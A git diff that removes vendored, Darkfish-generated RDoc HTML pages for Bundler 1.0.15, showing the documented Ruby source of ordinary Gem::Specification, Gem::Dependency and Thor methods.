-115:         <span class="ruby-identifier">coder</span>[<span class="ruby-identifier">ivar</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-regexp re">/^@/</span>, <span class="ruby-value str">''</span>)] = <span class="ruby-identifier">instance_variable_get</span>(<span class="ruby-identifier">ivar</span>)
-116:       <span class="ruby-keyword kw">end</span>
-117:     <span class="ruby-keyword kw">end</span></pre>
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-				
-					<span class="method-name">matches_spec?</span><span
-						class="method-args">(spec)</span>
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-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Backport of performance enhancement added to Rubygems 1.4
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="matches-spec--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 133</span>
-133:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">matches_spec?</span>(<span class="ruby-identifier">spec</span>)
-134:       <span class="ruby-comment cmt"># name can be a Regexp, so use ===</span>
-135:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">false</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">name</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>
-136:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">true</span>  <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">none?</span>
-137: 
-138:       <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">satisfied_by?</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>)
-139:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-required_by"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">required_by</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-						id="required-by-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 16</span>
-16:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">required_by</span>
-17:       <span class="ruby-ivar">@required_by</span> <span class="ruby-operator">||=</span> []
-18:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-requirement"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">requirement</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="requirement-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/shared_helpers.rb, line 9</span>
- 9:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">requirement</span>
-10:         <span class="ruby-identifier">version_requirements</span>
-11:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="to-lock-method" class="method-detail ">
-				<a name="method-i-to_lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_lock</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="to-lock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 123</span>
-123:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_lock</span>
-124:       <span class="ruby-identifier">out</span> = <span class="ruby-node">&quot;  #{name}&quot;</span>
-125:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">requirement</span> <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Requirement</span>.<span class="ruby-identifier">default</span>
-126:         <span class="ruby-identifier">reqs</span> = <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">requirements</span>.<span class="ruby-identifier">map</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">o</span>,<span class="ruby-identifier">v</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;#{o} #{v}&quot;</span> }
-127:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot; (#{reqs.join(', ')})&quot;</span>
-128:       <span class="ruby-keyword kw">end</span>
-129:       <span class="ruby-identifier">out</span>
-130:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-to_yaml_properties"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_yaml_properties</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					<div class="method-source-code"
-						id="to-yaml-properties-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 119</span>
-119:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_yaml_properties</span>
-120:       <span class="ruby-identifier">instance_variables</span>.<span class="ruby-identifier">reject</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> [<span class="ruby-value str">&quot;@source&quot;</span>, <span class="ruby-value str">&quot;@groups&quot;</span>].<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">p</span>.<span class="ruby-identifier">to_s</span>) }
-121:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem/Platform.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem/Platform.html
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-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Gem::Platform</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
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-
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-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/rubygems_ext_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/rubygems_ext.rb">lib/bundler/rubygems_ext.rb</a></li>
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-		<div id="class-metadata">
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-			<!-- Parent Class -->
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-				<h3 class="section-header">Parent</h3>
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-				<p class="link">Object</p>
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-			<!-- Namespace Contents -->
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
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-			<!-- Included Modules -->
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-		<div id="project-metadata">
-			
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-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
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-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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-					<legend>Quicksearch</legend>
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-					<span class="method-name">none?</span><span
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-					<span class="method-click-advice">click to toggle source</span>
-				
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-					
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-Backport of performance enhancement added to Rubygems 1.4
-</p>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 144</span>
-144:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">none?</span>
-145:       <span class="ruby-ivar">@none</span> <span class="ruby-operator">||=</span> (<span class="ruby-identifier">to_s</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;&gt;= 0&quot;</span>)
-146:     <span class="ruby-keyword kw">end</span></pre>
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-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem/Specification.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem/Specification.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-<body class="class">
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-							class="thickbox" title="lib/bundler/rubygems_ext.rb">lib/bundler/rubygems_ext.rb</a></li>
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-				</div>
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-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
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-			
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-add_bundler_dependencies">#add_bundler_dependencies</a></li>
-					
-					<li><a href="#method-i-dependencies_to_gemfile">#dependencies_to_gemfile</a></li>
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-					<li><a href="#method-i-nondevelopment_dependencies">#nondevelopment_dependencies</a></li>
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-					<li><a href="#method-i-required_by">#required_by</a></li>
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-					<li><a href="#method-i-rg_full_gem_path">#rg_full_gem_path</a></li>
-					
-					<li><a href="#method-i-rg_loaded_from">#rg_loaded_from</a></li>
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-					<li><a href="#method-i-to_gemfile">#to_gemfile</a></li>
-					
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-				<ul class="link-list">
-				
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-					<li><a class="include" href="../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
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-				
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-					<li><a href="../Bundler/PathError.html">Bundler::PathError</a></li>
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-	<div id="documentation">
-		<h1 class="class">Gem::Specification</h1>
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-			
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-
-		<!-- Constants -->
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-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="source-attribute-method" class="method-detail">
-				<a name="source"></a>
-				
-				<a name="source="></a>
-				
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-					<span class="method-name">source</span><span
-						class="attribute-access-type">[RW]</span>
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-
-				<div class="method-description">
-				
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-				
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-					<span class="method-name">location</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
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-			
-			<div id="relative-loaded-from-attribute-method" class="method-detail">
-				<a name="relative_loaded_from"></a>
-				
-				<a name="relative_loaded_from="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">relative_loaded_from</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
-				<div class="method-description">
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-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="add-bundler-dependencies-method" class="method-detail ">
-				<a name="method-i-add_bundler_dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">add_bundler_dependencies</span><span
-						class="method-args">(*groups)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					
-					<div class="method-source-code"
-						id="add-bundler-dependencies-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 72</span>
-72:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">add_bundler_dependencies</span>(*<span class="ruby-identifier">groups</span>)
-73:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-node">&quot;#add_bundler_dependencies is deprecated and will &quot;</span>          <span class="ruby-node">&quot;be removed in Bundler 1.0. Instead, please use the #gemspec method &quot;</span>          <span class="ruby-value str">&quot;in your Gemfile, which will pull in any dependencies specified in &quot;</span>          <span class="ruby-value str">&quot;your gemspec&quot;</span>
-74: 
-75:       <span class="ruby-identifier">groups</span> = [<span class="ruby-value">:default</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">empty?</span>
-76:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-77:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">groups</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value">:development</span>)
-78:           <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">add_development_dependency</span>(<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>, <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">to_s</span>)
-79:         <span class="ruby-keyword kw">elsif</span> (<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">groups</span> &amp; <span class="ruby-identifier">groups</span>).<span class="ruby-identifier">any?</span>
-80:           <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">add_dependency</span>(<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>, <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">to_s</span>)
-81:         <span class="ruby-keyword kw">end</span>
-82:       <span class="ruby-keyword kw">end</span>
-83:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			</div>
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-		
-			<div id="full-gem-path-method" class="method-detail ">
-				<a name="method-i-full_gem_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">full_gem_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="full-gem-path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 20</span>
-20:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">full_gem_path</span>
-21:       <span class="ruby-identifier">source</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:path</span>) <span class="ruby-operator">?</span>
-22:         <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">loaded_from</span>).<span class="ruby-identifier">dirname</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>).<span class="ruby-identifier">to_s</span> <span class="ruby-operator">:</span>
-23:         <span class="ruby-identifier">rg_full_gem_path</span>
-24:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Specification.html#method-i-rg_full_gem_path">rg_full_gem_path</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="gem-dir-method" class="method-detail ">
-				<a name="method-i-gem_dir"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gem_dir</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-RubyGems 1.8+ used only.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="gem-dir-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 43</span>
-43:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem_dir</span>
-44:       <span class="ruby-identifier">full_gem_path</span>
-45:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="git-version-method" class="method-detail ">
-				<a name="method-i-git_version"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">git_version</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="git-version-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 51</span>
-51:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">git_version</span>
-52:       <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@loaded_from</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">full_gem_path</span>, <span class="ruby-value str">&quot;.git&quot;</span>))
-53:         <span class="ruby-identifier">sha</span> = <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">full_gem_path</span>){ <span class="ruby-value">`git rev-parse HEAD`</span>.<span class="ruby-identifier">strip</span> }
-54:         <span class="ruby-node">&quot; #{sha[0..6]}&quot;</span>
-55:       <span class="ruby-keyword kw">end</span>
-56:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="groups-method" class="method-detail ">
-				<a name="method-i-groups"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">groups</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="groups-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 47</span>
-47:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">groups</span>
-48:       <span class="ruby-ivar">@groups</span> <span class="ruby-operator">||=</span> []
-49:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
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-			</div>
-
-		
-			<div id="load-paths-method" class="method-detail ">
-				<a name="method-i-load_paths"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">load_paths</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="load-paths-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 32</span>
-32:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">load_paths</span>
-33:       <span class="ruby-identifier">require_paths</span>.<span class="ruby-identifier">map</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">require_path</span><span class="ruby-operator">|</span>
-34:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">require_path</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">full_gem_path</span>)
-35:           <span class="ruby-identifier">require_path</span>
-36:         <span class="ruby-keyword kw">else</span>
-37:           <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">full_gem_path</span>, <span class="ruby-identifier">require_path</span>)
-38:         <span class="ruby-keyword kw">end</span>
-39:       <span class="ruby-keyword kw">end</span>
-40:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="loaded-from-method" class="method-detail ">
-				<a name="method-i-loaded_from"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">loaded_from</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="loaded-from-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 26</span>
-26:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">loaded_from</span>
-27:       <span class="ruby-identifier">relative_loaded_from</span> <span class="ruby-operator">?</span>
-28:         <span class="ruby-identifier">source</span>.<span class="ruby-identifier">path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">relative_loaded_from</span>).<span class="ruby-identifier">to_s</span> <span class="ruby-operator">:</span>
-29:         <span class="ruby-identifier">rg_loaded_from</span>
-30:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Specification.html#method-i-rg_loaded_from">rg_loaded_from</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="nondevelopment-dependencies-method" class="method-detail ">
-				<a name="method-i-nondevelopment_dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">nondevelopment_dependencies</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="nondevelopment-dependencies-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 68</span>
-68:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">nondevelopment_dependencies</span>
-69:       <span class="ruby-identifier">dependencies</span> <span class="ruby-operator">-</span> <span class="ruby-identifier">development_dependencies</span>
-70:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="required-by-method" class="method-detail ">
-				<a name="method-i-required_by"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">required_by</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="required-by-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 11</span>
-11:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">required_by</span>
-12:       <span class="ruby-ivar">@required_by</span> <span class="ruby-operator">||=</span> []
-13:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="rg-full-gem-path-method" class="method-detail method-alias">
-				<a name="method-i-rg_full_gem_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">rg_full_gem_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-				</div>
-
-				
-
-				
-				<div class="aliases">
-          Alias for: <a href="Specification.html#method-i-full_gem_path">full_gem_path</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="rg-loaded-from-method" class="method-detail method-alias">
-				<a name="method-i-rg_loaded_from"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">rg_loaded_from</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-				</div>
-
-				
-
-				
-				<div class="aliases">
-          Alias for: <a href="Specification.html#method-i-loaded_from">loaded_from</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="to-gemfile-method" class="method-detail ">
-				<a name="method-i-to_gemfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_gemfile</span><span
-						class="method-args">(path = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="to-gemfile-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 58</span>
-58:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_gemfile</span>(<span class="ruby-identifier">path</span> = <span class="ruby-keyword kw">nil</span>)
-59:       <span class="ruby-identifier">gemfile</span> = <span class="ruby-value str">&quot;source :gemcutter\n&quot;</span>
-60:       <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dependencies_to_gemfile</span>(<span class="ruby-identifier">nondevelopment_dependencies</span>)
-61:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">development_dependencies</span>.<span class="ruby-identifier">empty?</span>
-62:         <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-63:         <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dependencies_to_gemfile</span>(<span class="ruby-identifier">development_dependencies</span>, <span class="ruby-value">:development</span>)
-64:       <span class="ruby-keyword kw">end</span>
-65:       <span class="ruby-identifier">gemfile</span>
-66:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="dependencies-to-gemfile-method" class="method-detail ">
-				<a name="method-i-dependencies_to_gemfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">dependencies_to_gemfile</span><span
-						class="method-args">(dependencies, group = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="dependencies-to-gemfile-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 90</span>
- 90:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">dependencies_to_gemfile</span>(<span class="ruby-identifier">dependencies</span>, <span class="ruby-identifier">group</span> = <span class="ruby-keyword kw">nil</span>)
- 91:       <span class="ruby-identifier">gemfile</span> = <span class="ruby-value str">''</span>
- 92:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">any?</span>
- 93:         <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;group :#{group} do\n&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">group</span>
- 94:         <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dependency</span><span class="ruby-operator">|</span>
- 95:           <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">'  '</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">group</span>
- 96:           <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">%gem &quot;#{dependency.name}&quot;|</span>
- 97:           <span class="ruby-identifier">req</span> = <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirements_list</span>.<span class="ruby-identifier">first</span>
- 98:           <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">%, &quot;#{req}&quot;|</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">req</span>
- 99:           <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-100:         <span class="ruby-keyword kw">end</span>
-101:         <span class="ruby-identifier">gemfile</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;end\n&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">group</span>
-102:       <span class="ruby-keyword kw">end</span>
-103:       <span class="ruby-identifier">gemfile</span>
-104:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
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-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor.html
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor.html
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@@ -1,1239 +0,0 @@
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-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Thor</title>
-
-	<link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
-
-	<script src="./js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="./index.html">Home</a>
-          <a href="./index.html#classes">Classes</a>
-          <a href="./index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
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-					<ul>
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-						<li><a href="./lib/bundler/vendor/thor/actions/create_file_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions/create_file.rb">lib/bundler/vendor/thor/actions/create_file.rb</a></li>
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-							class="thickbox" title="lib/bundler/vendor/thor/actions/directory.rb">lib/bundler/vendor/thor/actions/directory.rb</a></li>
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-							class="thickbox" title="lib/bundler/vendor/thor/core_ext/hash_with_indifferent_access.rb">lib/bundler/vendor/thor/core_ext/hash_with_indifferent_access.rb</a></li>
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-					<span class="method-name">check_unknown_options!</span><span
-						class="method-args">(options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
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-					<p>
-Extend check unknown options to accept a hash of conditions.
-</p>
-<h3>Parameters</h3>
-<p>
-options<Hash>: A hash containing :only and/or :except keys
-</p>
-					
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-					<div class="method-source-code"
-						id="check-unknown-options--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 195</span>
-195:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">check_unknown_options!</span>(<span class="ruby-identifier">options</span>={})
